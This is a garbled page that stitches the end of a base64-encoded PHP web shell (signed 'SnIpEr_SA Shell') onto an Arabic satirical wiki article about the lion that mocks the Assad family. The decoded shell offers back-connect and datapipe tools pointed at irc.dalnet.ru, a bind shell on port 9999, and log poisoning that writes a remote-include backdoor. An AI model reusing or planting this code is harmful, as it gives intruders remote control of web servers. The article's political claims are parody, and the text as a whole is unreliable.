iBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNSwnODAnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY2FsX3BvcnQnLDE1LCc4MCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9ob3N0JywxNSwnaXJjLmRhbG5ldC5ydScpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9wb3J0JywxNSwnNjY2NycpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPmRhdGFwaXBlLnBsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5kYXRhcGlwZS5jPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQoNCmlmKCR1bml4KXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQxJywzNSwnOTk5OScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDMnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODEnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNhZG1pbicsMTUsJ2lyY2FkbWluJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY3NlcnZlcicsMTUsJ2lyY3NlcnZlcicpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNjaGFuYWwnLDE1LCdpcmNjaGFubCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNuYW1lJywxNSwnaXJjbmFtZScpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwcycsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKSkpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydHMnLDE1LCc4MCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCg0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KZWNobyAnPC90YWJsZT4nLiR0YWJsZV91cDMuIjwvZGl2PjwvZGl2PjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPm8tLS1bIFNuSXBFcl9TQSBTaGVsbCAgfCA8YSBocmVmPWh0dHA6Ly9zbmlwZXItc2EuY29tPmh0dHA6Ly9zbmlwZXItc2EuY29tPC9hPiB8IDxhIFNuSXBFci5TQUBob3RtYWlsLmNvbT5zbmlwZXIuc2FAaG90bWFpbC5jb208L2E+IHwgytrR7cgg5srY5u3RIF0tLS1vPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iLiRmOw0KDQppZihlbXB0eSgkX1BPU1RbJ2xvZyddKSl7DQp9IGVsc2Ugew0KJGxvZz0kX1BPU1RbJ2xvZyddOw0KZWNobyAgZXJyb3JfbG9nKCI8PyBwcmludCBpbmNsdWRlKFwkX0dFVFtzc10pID8+IiwgMywkbG9nKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCn0='));
|-
| align=center colspan="2" |
{| style="background:#f9f9f9;" border="0" cellpadding="2" cellspacing="0"|- align=center"
|- center=align
| [[صورة:lion.jpg|200px|]]
|}
|-
! style="background: #ffcccc; text-align: center" colspan="3" |'''التصنيف العلمي'''
|-
|'''المملكة'''||'''[[الحيوانات]]'''
|-
| '''الشعبة''' ||'''الحبليات'''
|-
| '''الصف''' || '''[[ثدي|الثدييات]]'''
|-
| '''الرتبة''' || '''آكلات لحوم المعارضة'''
|-
| '''الفصيلة''' ||'''السنوريات'''
|-
|'''الجنس''' || '''أسود ورقية'''
|-
! style="background: #ffcccc; text-align: center" colspan="3" | '''معلومات عامة'''
|-
| '''نقاط القوة''' || لايحب أو يكره علانية , مؤمن ب[[كرسي|العرين الخالد]] , تعلقه بالمظاهر والقشور
|-
| '''الاسد كشعار''' || '''[[بريطانيا]] , سريلانكا'''
|-
| '''الأسد كأسم مدينة ''' || ليون ([[فرنسا]]) , ليدن (هولندا) , ليون ([[اسبانيا]]) , ليون (لمكسيك) , وهران (الجزائر).
|-
| '''أشهر الأسود [[كافر|الكفار]] ''' || جسم أبو الهول , [[ريتشارد قلب الأسد]] , اسد والت ديزني ليون كنغ .
|}
'''الأسد''' [[الحيوانات|حيوان]] لبون من اللواحم المفترسة يرفض إن يستمع إلي [[الإنسان|نصائح الآخرين]] مع إن عنده [[متعة]] كبيرة في [[العقلية العربية|إسداء النصائح وإلقاء العظات]] ويعرف كيف يخلق جوا له وللآخرين , قد يخترع حديثا او [[الموت|إغتيالا]] أو حدثا ليلهيك عن التفكير بهمومك ومشاكلك , تعلقه بالمظاهر والقشور في بعض الأحيان قد ينسيه الأهم . الأسد [[حيوانات|حيوان]] يحب و يكره بالخفاء و لايعبر عن عواطفه علانية وهو مؤمن ب[[كرسي|العرين الخالد]] , قد يزعجك زئير الأسد لأنه يبالغ ويصور الأشياء أضخم مما هي , والأسد حيوان [[مجتمع|إجتماعي]] يقف بجانب أفراد عائلة آل الأسد وقفة فيها الكثير من التعاطف . يحب الأسد ال[[العاب]] بمختلف أنواعها ويملك رغبة في [[رامبو|المغامرة]] والمقامرة أحيانا , إنه من رواد المغامرات وممن يحبون ركوب المخاطر بحسب ما يروق له . قد يتمسك الأسد ب[[ايران|علاقات سيئة]] بسبب أن الشعور بالأنا والذات لديه والذي لا يسمح له بالاعتراف بأنه قد ارتكب خطأً ما . قد يتظاهر بالشجاعة لكنه يخشى أموراً كثيرة [[السكوت|يرفض التصريح بها]] . [[ثقيل الدم|شخصية]] هذا الحيوان مُحيّرة فجميع الذين يتعاملون معه يجدون أنفسهم أمام سلسلة من التساؤلات , هل هو حقاً معطاء أم أنه أناني لا يُحب سوى نفسه ؟ هل عنده صفات [[القائد العربي المحنك|الزعامة]] أم يتظاهر بأنه يملكها ؟ .
 
الاسد كان ملكا لغابة [[لبنان|أشجار الأرز]] في العصر الحديدي السابق لكن بعد اكتشاف [[الحرب على الإرهاب|البارود والاسلحة النارية]] و قماش الحرير بدئت تتناقص اعداده , تواجده الحالي كملك مهدد ب[[ديناصور|الانقراض]] على يد [[جورج بوش|الحمير الذكية]] من ناحية و الجرذان العملاقة بسبب طفرات في الأحماض [[القاعدة|القاعدية]] للحامض النووي من ناحية اخرى . فبسبب اختلال [[سياسة|النظام الغذائي]] في [[الشرق الاوسط|الغابة الوسطى]] ظهر حالتان هي نمو و [[تزاوج|تكاثر]] تيار [[اسلام|اسلامي]] يناهض [[القائد العربي المحنك|الدكتاتوريات]] المحلية لانها متسامحة في [[لحية|دينها]] وغير متسامحة في ما يخص ال[[كرسي]] و[[السلطة]] التي يسعى الاسلاميون لها . ومن ناحية اخرى يسعى اللبراليون للاطاحة بهذه الانظمة لكن بدون ستراتيجية تقي الدولة من الاسلاميين , هذا مما يهدد [[حياة]] الاسود و[[آل باتشينو|الفهود]] .
?>
 
ينتمي الأسد الى فصيلة آل الأسد اللذين يحبون [[اللغة العربية]] وخاصة حرف السين الذي تبدأ به كلمات آل الأسد منذ زمن بعيد وما زالت سنعمل , سنتحرك , سنحارب , سنقضي على [[سرقة|الفساد]] . معظم آل الأسد استطاعوا أن ينشطوا في الصيد والتجارة ويدعموا الاقتصاد عن طريق نهب الثروات لمصالح مافيا آل الأسد الحديثة وسرقة النفط وكانوا الى وقت قريب قبيل [[حرب الخليج الثالثة|حرب الغابات الثالثة]] يقومون بتبيض [[دولار|الأموال]] عن طريق بنوك خاصة وعن سرقة أموال [[العراق]] وسرقة نفطه وتهريبه وبيعه بالسوق [[كهرباء|السوداء]] خارج قرار الأمم المتحدة , النفط مقابل الغذاء . قام [[بشار الأسد|الحيوان الأسد]] ببيع غابته الى ابن خاله [[رامي مخلوف|الضبع الرامي المخلوفي]] فبعد انشاء الشركة القابضة برأسمال 350 [[مليون]] [[دولار]] وقع رامي مخلوف مع رئيس وزراء [[سوريا]] مشروع التاكسي الجوي الذي سيلغي رحلات السورية الى بيروت و[[عمان]] و اسطنبول و [[القاهرة]] بحيث تصبح هذه الخطوط حصرية للشركة الجديدة , كما وقع سابقاً مشروع معمل الاسمنت في منطقة البو كمال حصرياً حيث توجد مناجم المواد الأولية لصناعة [[خرا|الاسمنت]] .
 
من مزايا الأسد هو القسوة والتوريث ، فلم تتعرض أرض [[نزار القباني]] و غوار الطوشة من أيام الفينيقيين وحتى اليوم إلى إجرام كالذي نراه ، الأمر الذي لم يفعله الاستعمار [[فرنسا|الفرنسي]] ولا [[الصهيونية|الصهاينة]] في [[فلسطين]] , حيث قتل من أبناء الغابة وشرد و [[السجن|سجن]] أضعاف أضعاف ما فعله الاستعمار الفرنسي في ربع قرن , ليست هذه دعاية للاستعمار ، كما يحب الأسد الغبي المتذاكي أن يفسرها بخبث , أما ما جرى في سجن تدمر وغيره ، فوصمة عار لا تُمحى في تأريخ [[العالم|عالم]] [[الحيوانات]] . تفلت عائلة الأسود الورقية و وصيفتها المدللة أسرة آل مخلوف على البلد وأهله نهباً وعدواناً و[[الموت|قتلاً]] وقمعاً وتهريباً ، لقد فلت هؤلاء [[الأزعر|الزعران]] الأبطال ، و [[السرقة|الحرامية]] البزنس كما تفلت أسراب الجراد على الحقول الخضراء ، ذلك أن حيوانا دموياً دجالاً ليس له أي قاعدة شعبية ، يحتاج لتثبيت عرينه إلى [[قندرة|هؤلاء الحثالات]] ، الذين لا يرضون إلا باستباحة الغابة ، واحتقار الوطن و [[الإنسان|المواطن]] و القانون .
[[تصنيف:حيوانات]]
 
[[pt:Leão]]
 
[[en:Lion]]
[[fi:Leijona]]
[[fr:Lion]]
[[he:אריה]]
[[it:Leone]]
[[ja:ライオン]]
[[no:Løve]]
[[pl:Lew]]
[[ru:Лев]]
[[zh:狮子]]
مستخدم مجهول